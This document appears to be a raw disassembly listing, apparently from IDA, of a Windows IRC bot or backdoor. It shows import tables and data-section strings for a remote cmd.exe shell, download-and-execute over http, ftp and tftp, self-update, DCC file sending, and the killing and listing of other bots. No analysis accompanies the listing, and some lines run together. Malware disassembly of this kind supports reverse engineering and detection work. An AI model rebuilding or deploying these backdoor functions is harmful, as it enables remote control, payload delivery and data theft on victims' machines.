dword_4170D4 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_4092A4+14r ...
dword_4170D8 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4092A4+Ar ...
dword_4170DC dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_4170E0 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_4098F3+1B6r
dword_4170E4 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSectiondword_4170E8 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; sub_406643+19r
dword_4170EC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4170F0 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4170F4 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorModedword_4170F8 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4170FC dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_414EF4+5BCr ...
dword_417100 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_417104 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_417108 dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_414EF4+5CEr ...
dword_41710C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection dd 0
dword_417114 dd 77C1C1F3h ; resolved to->MSVCRT._itoadword_417118 dd 77C464BFh ; resolved to->MSVCRT._strnicmpdword_41711C dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_417120 dd 77C21868h dword_417124 dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_417128 dd 77C472B0h ; resolved to->MSVCRT.memmovedword_41712C dd 77C46030h ; resolved to->MSVCRT.strcpydword_417130 dd 77C35E02h ; resolved to->MSVCRT._rotrdword_417134 dd 77C35DDEh ; resolved to->MSVCRT._rotldword_417138 dd 77C3FF8Ah ; resolved to->MSVCRT._vsnprintfdword_41713C dd 77C46EB0h ; resolved to->MSVCRT.memcmpdword_417140 dd 77C1C9C9h ; resolved to->MSVCRT.tolowerdword_417144 dd 77C47730h ; resolved to->MSVCRT.strcmpdword_417148 dd 77C4186Ah ; resolved to->MSVCRT.printfdword_41714C dd 77C29CC5h dword_417150 dd 77C29CDDh dword_417154 dd 77C3FE49h ; resolved to->MSVCRT.vsprintfdword_417158 dd 77C3A3DBh ; resolved to->MSVCRT._beginthreadexdword_41715C dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_417160 dd 77C50290h ; resolved to->MSVCRT.ceildword_417164 dd 77C4FA10h ; resolved to->MSVCRT._ftoldword_417168 dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_41716C dd 77C2C437h ; resolved to->MSVCRT.reallocdword_417170 dd 77C47A50h ; resolved to->MSVCRT.strncmpdword_417174 dd 77C3FA76h ; resolved to->MSVCRT._snprintfdword_417178 dd 77C47C60h ; resolved to->MSVCRT.strstrdword_41717C dd 77C41B72h ; resolved to->MSVCRT.sscanfdword_417180 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_417184 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_417188 dd 77C411FBh ; resolved to->MSVCRT.freaddword_41718C dd 77C3F010h ; resolved to->MSVCRT.fopendword_417190 dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_417194 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_417198 dd 77C41574h ; resolved to->MSVCRT.ftelldword_41719C dd 77C46040h ; resolved to->MSVCRT.strcatdword_4171A0 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_4171A4 dd 77C4A969h ; resolved to->MSVCRT.clockdword_4171A8 dd 77C3F931h ; resolved to->MSVCRT.sprintfdword_4171AC dd 77C47A90h ; resolved to->MSVCRT.strncpydword_4171B0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_4171B4 dd 77C2C21Bh ; resolved to->MSVCRT.freedword_4171B8 dd 77C2C407h ; resolved to->MSVCRT.mallocdword_4171BC dd 77C478A0h ; resolved to->MSVCRT.strlendword_4171C0 dd 77C4624Eh ; resolved to->MSVCRT._stricmp align 8
dword_4171C8 dd 7712A63Fh align 10h
dword_4171D0 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_402A32+79Br ...
align 8
dword_4171D8 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_4171DC dd 7E44F209h ; resolved to->USER32.IsCharAlphaNumericAdword_4171E0 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_408F2E+1D1r ...
dword_4171E4 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_415B60+84r
dword_4171E8 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_4171EC dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_40D74D+7Er
dd 0
dword_4171F4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4050EA+106r ...
dword_4171F8 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4171FC dd 71AC1028h ; resolved to->WS2_32.accept ; sub_4048EF+39Fr
dword_417200 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_412A3A+178r ...
dword_417204 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_4055E5+7Br ...
dword_417208 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_411DC5+DFr ...
dword_41720C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40A9CF+1A74r
dword_417210 dd 71AC0B50h ; resolved to->WS2_32.getpeername ; sub_4045B2+21r
dword_417214 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_40447B+10r
dword_417218 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_4046BC+CEr ...
dword_41721C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_40732D+1A8r ...
dword_417220 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4038BA+171r ...
dword_417224 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_4038BA+186r ...
dword_417228 dd 71ABE59Dh ; resolved to->WS2_32.getservbyportdword_41722C dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_404E1C+E0r ...
dword_417230 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40A9CF+1A80r ...
dword_417234 dd 71AB2A5Eh ; resolved to->WS2_32.WSASetLastError ; sub_403588+4Ar ...
dword_417238 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403588+1FEr ...
dword_41723C dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4055E5+F3r ...
dword_417240 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_40449C+21r ...
dword_417244 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_4055E5+DDr ...
dword_417248 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4053DC+27r ...
dword_41724C dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4020C2+201r
dword_417250 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_411DC5+372r ...
dword_417254 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_407148+183r ...
dword_417258 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_41725C dd 71AB4489h ; resolved to->WS2_32.WSAIoctldword_417260 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_417264 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_417268 dd 71AB88D3h ; resolved to->WS2_32.listen align 10h
flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r
; sub_401E38+22Fr ...
flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r
dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 dd offset sub_416AC5
dd offset sub_416ADB
dd offset dword_4172F0
off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o
; .text:00416F3Ao ...
dd offset dword_417338
off_4172BC dd offset sub_416F86 ; DATA XREF: .data:off_41DDE0o
; .data:off_41DE00o
off_4172C0 dd offset off_41DDE0 ; DATA XREF: .rdata:004172D8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4172C0
dword_4172DC dd 3 dup(0) dd 1, 4172D8h
dword_4172F0 dd 3 dup(0) dd offset off_41DDE0
dd offset dword_4172DC+4
dd 0
off_417308 dd offset off_41DE00 ; DATA XREF: .rdata:00417320o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_417308
dd 0
db 0 ; DATA XREF: .rdata:00417348o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 417320h
dword_417338 dd 3 dup(0) dd offset off_41DE00
dd offset unk_417328
align 10h
dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) dd 0FFFFFFFFh, 416FB0h, 0
dd offset sub_416FBC
dd 1, 416FC5h, 2, 416FD1h, 0
dd offset off_41DDE0
dd 0
dd 0FFFFFFFFh, 0
dd 10h, 416F21h, 0
dword_4173B0 dd 1, 417390h dword_4173B8 dd 0 dd offset sub_416F4E
dd 0
dd offset dword_4173B0
dword_4173C8 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0)
dd 1788Eh, 171F4h, 17498h, 2 dup(0)
dd 17C70h, 17030h, 17640h, 2 dup(0)
dd 17CE6h, 171D8h, 17468h, 2 dup(0)
dd 17DBAh, 17000h, 17638h, 2 dup(0)
dd 17DD8h, 171D0h, 17630h, 2 dup(0)
dd 17E3Eh, 171C8h, 5 dup(0)
dd 17D12h, 17D00h, 17D22h, 17D32h, 17D46h, 17D58h, 17D6Ah
dd 17D7Ah, 17D90h, 17DA2h, 17CF2h, 0
dd 17AB6h, 17AA4h, 17A8Ch, 17A80h, 17A68h, 17A5Ah, 17A4Ch
dd 17A3Eh, 17A28h, 17A18h, 17A06h, 179F8h, 179ECh, 179DCh
dd 179D0h, 179C2h, 179B4h, 179A0h, 17AC6h, 1797Ch, 1796Ch
dd 17956h, 1794Ah, 17920h, 1790Ah, 178FCh, 178E8h, 178E0h
dd 178CCh, 178BEh, 178A8h, 1789Ah, 17E32h, 17BCAh, 17BDAh
dd 17BECh, 17BFCh, 17ADAh, 17AF0h, 17B06h, 17B16h, 17B26h
dd 17B42h, 17B5Ch, 17B6Ch, 17B7Eh, 17934h, 17B9Ah, 1798Eh
dd 17C60h, 17C50h, 17C44h, 17C38h, 17C1Eh, 17C12h, 17BB2h
dd 0
dd 17DF0h, 17DF8h, 17E04h, 17E1Ah, 17862h, 17858h, 176D8h
dd 17850h, 17848h, 1783Ah, 17830h, 17826h, 1781Ch, 17812h
dd 17802h, 177F2h, 177E6h, 177D4h, 177C0h, 177B8h, 177B0h
dd 177A8h, 1779Eh, 17794h, 17788h, 1777Eh, 17774h, 1776Ch
dd 17764h, 1775Ch, 17754h, 1774Ah, 17740h, 17738h, 1772Eh
dd 17724h, 1771Ch, 17712h, 17708h, 176FEh, 176F6h, 176ECh
dd 176E2h, 17DE4h, 0
dd 800000C8h, 0
dd 17DC8h, 0
dd 17C9Ch, 17CD0h, 17C7Eh, 17C8Ah, 17CB2h, 17CC0h, 0
dd 80000004h, 80000097h, 80000001h, 80000016h, 80000015h
dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
dd 8000000Ch, 80000033h, 8000006Fh, 80000038h, 80000012h
dd 80000003h, 80000070h, 80000009h, 80000034h, 80000006h
dd 8000000Bh, 80000010h, 80000008h, 80000014h, 80000074h
dd 80000011h, 17882h, 80000039h, 80000073h, 8000000Dh
dd 0
dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h
dd 636F6C6Ch, 25E0000h, 65657266h, 2970000h, 636D656Dh
dd 7970h, 747302C1h, 70636E72h, 2B20079h, 69727073h, 66746Eh
dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h
dd 63727473h, 7461h, 74660264h, 6C6C65h, 77660266h, 65746972h
dd 24C0000h, 6F6C6366h, 6573h, 6F660257h, 6E6570h, 7266025Dh
dd 646165h, 73660262h, 6B6565h, 7461023Dh, 696Fh, 737302B5h
dd 666E6163h, 2C50000h, 73727473h, 7274h, 735F01AEh, 6972706Eh
dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h
dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h
dd 6C69h, 655F00CAh, 70656378h, 61685F74h, 656C646Eh, 3372h
dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h
dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h
dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h
dd 29E0000h, 6E697270h, 6674h, 747302B8h, 706D6372h, 2D30000h
dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h
dd 6E73765Fh, 6E697270h, 6674h, 725F019Bh, 6C746Fh, 725F019Ch
dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h
a__cxxframehand db '__CxxFrameHandler',0
aMsvcrt_dll db 'MSVCRT.dll',0
align 2
db '(',0
aWsaioctl db 'WSAIoctl',0
align 2
aWs2_32_dll_0 db 'WS2_32.dll',0
align 2
db '|',0
aDeletefilea db 'DeleteFileA',0
db 0Eh
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
a_ db '.',0
aClosehandle db 'CloseHandle',0
db 51h ; Q
db 3, 54h, 65h
aRminateprocess db 'rminateProcess',0
align 10h
db 49h ; I
db 3, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0AEh ; ®
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h
aGetmodulefil_0 db 'GetModuleFileNameA',0
align 10h
db 77h ; w
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 4
db 3Bh ; ;
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 2ABh
aReadfile db 'ReadFile',0
align 2
dw 152h
aGetexitcodepro db 'GetExitCodeProcess',0
align 4
db 87h ; ‡
db 2, 50h, 65h
aEknamedpipe db 'ekNamedPipe',0
db '`',0
aCreateprocessa db 'CreateProcessA',0
align 2
aM db 'Œ',0
aDuplicatehandl db 'DuplicateHandle',0
db 3Ah ; :
db 1, 47h, 65h
aTcurrentproc_0 db 'tCurrentProcess',0
a__0 db '_',0
aCreatepipe db 'CreatePipe',0
align 2
dw 2D0h
aSearchpatha db 'SearchPathA',0
db 97h ; —
db 3, 57h, 72h
aItefile db 'iteFile',0
db 69h ; i
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
db '=',0
aCopyfilea db 'CopyFileA',0
aP db '¯',0
aExitprocess db 'ExitProcess',0
dw 198h
aGetprocaddress db 'GetProcAddress',0
align 4
db 48h ; H
db 2, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
align 4
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 314h
aSetfiletime db 'SetFileTime',0
db 5Dh ; ]
db 1, 47h, 65h
aTfiletime db 'tFileTime',0
aM_0 db 'M',0
aCreatefilea db 'CreateFileA',0
db 0E9h ; é
db 1, 47h, 65h
aTwindowsdirect db 'tWindowsDirectoryA',0
align 10h
db 0BFh ; ¿
db 3, 6Ch, 73h
aTrlena db 'trlenA',0
align 4
db 0FFh
db 2, 53h, 65h
aTcurrentdirect db 'tCurrentDirectoryA',0
align 4
dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
db 46h ; F
db 1, 47h, 65h
aTdiskfreespace db 'tDiskFreeSpaceExA',0
dw 14Bh
aGetdrivetypea db 'GetDriveTypeA',0
dw 1D5h
aGettickcount db 'GetTickCount',0
align 2
dw 29Ah
aQueryperforman db 'QueryPerformanceFrequency',0
dw 299h
aQueryperform_0 db 'QueryPerformanceCounter',0
dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
dd 54657461h, 61657268h, 2190064h
aInitializecr_0 db 'InitializeCriticalSection',0
aP_0 db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 247h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aI db 'i',0
aCreatethread db 'CreateThread',0
align 2
dw 365h
aUnmapviewoffil db 'UnmapViewOfFile',0
db 5Eh ; ^
db 2, 4Dh, 61h
aPviewoffile db 'pViewOfFile',0
aN db 'N',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 3B3h
aLstrcmpa db 'lstrcmpA',0
align 2
dw 150h
aGetenvironment db 'GetEnvironmentVariableA',0
db 0BCh ; ¼
db 3, 6Ch, 73h
aTrcpyna db 'trcpynA',0
db 0B9h ; ¹
db 3, 6Ch, 73h
aTrcpya db 'trcpyA',0
align 10h
aZ db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 10h
db 0Ah
db 3, 53h, 65h
aTerrormode db 'tErrorMode',0
align 10h
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
dw 2D5h
aWsprintfa db 'wsprintfA',0
dw 177h
aGetwindowtexta db 'GetWindowTextA',0
align 4
db 17h
db 1, 47h, 65h
aTforegroundwin db 'tForegroundWindow',0
aU_1 db 'ã',0
aFindwindowa db 'FindWindowA',0
db 3Ah ; :
db 2, 53h, 65h
aNdmessagea db 'ndMessageA',0
align 10h
db 97h ; —
db 1, 49h, 73h
aCharalphanumer db 'CharAlphaNumericA',0
aUser32_dll db 'USER32.dll',0
align 2
dw 1C9h
aRegclosekey db 'RegCloseKey',0
dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h
dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h
dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h
dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h
dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h
aCryptreleaseco db 'CryptReleaseContext',0
aC db '–',0
aCryptgenrandom db 'CryptGenRandom',0
align 2
aE db '…',0
aCryptacquireco db 'CryptAcquireContextA',0
align 2
aAdvapi32_dll db 'ADVAPI32.dll',0
align 4
db 7
db 1, 53h, 68h
aEllexecutea db 'ellExecuteA',0
aShell32_dll db 'SHELL32.dll',0
db 0BDh ; ½
db 1, 5Fh, 73h
aTrcmpi db 'trcmpi',0
align 10h
db 34h ; 4
db 1, 5Fh, 69h
db 74h ; t
db 6Fh, 61h, 0
db 0C5h ; Å
db 1, 5Fh, 73h
aTrnicmp db 'trnicmp',0
aA_0 db 'A',0
a_cxxthrowexcep db '_CxxThrowException',0
align 2
dw 0Eh
a??1type_info@@ db '??1type_info@@UAE@XZ',0
align 2
dw 252h
aLocalfree db 'LocalFree',0
aOleaut32_dll db 'OLEAUT32.dll',0
align 200h
_rdata ends
; Section 3. (virtual address 00018000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00008000 ( 32768.)
; Offset to raw data for section: 00018000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 418000h
off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr
; sub_401000+2Er ...
dd offset dword_41805C
dd offset dword_418040
dd offset dword_418014
dd 0
dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch
; DATA XREF: .data:0041800Co
dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0)
dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h
; DATA XREF: .data:00418008o
dd 0BFD1h, 0
dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
; DATA XREF: .data:00418004o
dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0
dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
; DATA XREF: .data:off_418000o
dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
dd 0A68CCCA6h, 95h, 0
dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
; DATA XREF: sub_401244+52Do
dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
dd 2E0203h
dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
; DATA XREF: sub_401244+50Ao
dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
; DATA XREF: sub_401244+412o
dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh
; DATA XREF: sub_401244+45o
dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
dd 2037325h, 3Ah
dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
; DATA XREF: sub_4017AA+93o
dd 2343003h, 2037325h, 0
aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o
aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do
dword_4181A4 dd 303h aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o
aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
align 4
asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo
; sub_403DF3+18Co ...
align 4
aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
align 4
aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o
; sub_402A32+794o ...
align 4
dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
; DATA XREF: sub_401E38+248o
dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h
dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h
; DATA XREF: sub_401E38+CCo
dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h
dd 20373h
dword_4182AC dd 6277h ; sub_402698:loc_40288Eo ...
dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
; DATA XREF: sub_4020C2+3E1o
dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h
dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
dd 732F424Bh, 6365h
dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
; DATA XREF: sub_4020C2+313o
dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h
dd 6465h
dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh
; DATA XREF: sub_4020C2+28Eo
dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
; DATA XREF: sub_4020C2+20Fo
dd 1642520h, 0
aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo
; sub_406AE7+63o ...
align 4
dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
; DATA XREF: sub_4024F3+101o
dd 206D6F72h, 2343003h, 2037325h, 0
dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
; DATA XREF: sub_40260D+72o
dd 2343003h, 2037325h, 0
aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
align 4
aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
align 4
asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o
db 0Dh,0Ah,0
align 4
aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
; sub_4088FC+E9o
db 'Host: %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h
; DATA XREF: sub_402A32+7F6o
dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
dd 2E020373h, 0
dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h
; DATA XREF: sub_402A32+7D1o
dd 61747320h, 3207472h, 25023430h, 2E020373h, 0
dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h
; DATA XREF: sub_402A32+738o
dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
dd 732F424Bh, 73256365h, 2Eh
aExecuting db ', executing',0 ; DATA XREF: sub_402A32+6B0o
aUpdating db ', updating',0 ; DATA XREF: sub_402A32+699o
align 4
unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aNoFileToDownlo db '- No file to download specified.',0
align 4
asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o
unicode 0, </>,0
asc_4184FC: ; DATA XREF: sub_402A32+45Fo
; sub_414EF4+644o ...
unicode 0, <:>,0
unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aUnsupportedPro db '- Unsupported protocol specified.',0
align 4
a69 db '69',0 ; DATA XREF: sub_402A32+3A8o
align 10h
aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o
aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao
; sub_402A32+36Do
align 4
a21 db '21',0 ; DATA XREF: sub_402A32+328o
align 4
aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o
align 10h
a80 db '80',0 ; DATA XREF: sub_402A32+2CEo
; sub_4043E9+27o ...
align 4
aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo
dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h
; DATA XREF: sub_402A32+135o
dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
dd 2E020373h, 0
dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h
; DATA XREF: sub_402A32+110o
dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
dd 20656C69h, 2343003h, 2037325h, 2Eh
aFile db 'file://',0 ; DATA XREF: sub_402A32+C0o
dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh
; DATA XREF: sub_402A32+AAo
dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h
dd 2E020373h, 0
dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
; DATA XREF: sub_403260+B2o
dd 206F7420h, 2343003h, 2037325h, 0
a_exe db '.exe',0 ; DATA XREF: sub_403260+43o
; sub_412720+51o
align 4
aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
; sub_40332B:loc_403545o ...
align 4
aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o
; sub_40A9CF:loc_40BD52o
align 4
dword_41864C dd 3430032Dh, 62656402h, 2036775haModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
db 'GS=%08X. Code: %08X (%s). %s...',0
align 4
aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao
align 4
aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o
align 4
aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co
align 4
aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
align 10h
aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
; DATA XREF: sub_40332B:loc_4033FAo
align 4
aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
align 4
aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
align 4
aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
align 4
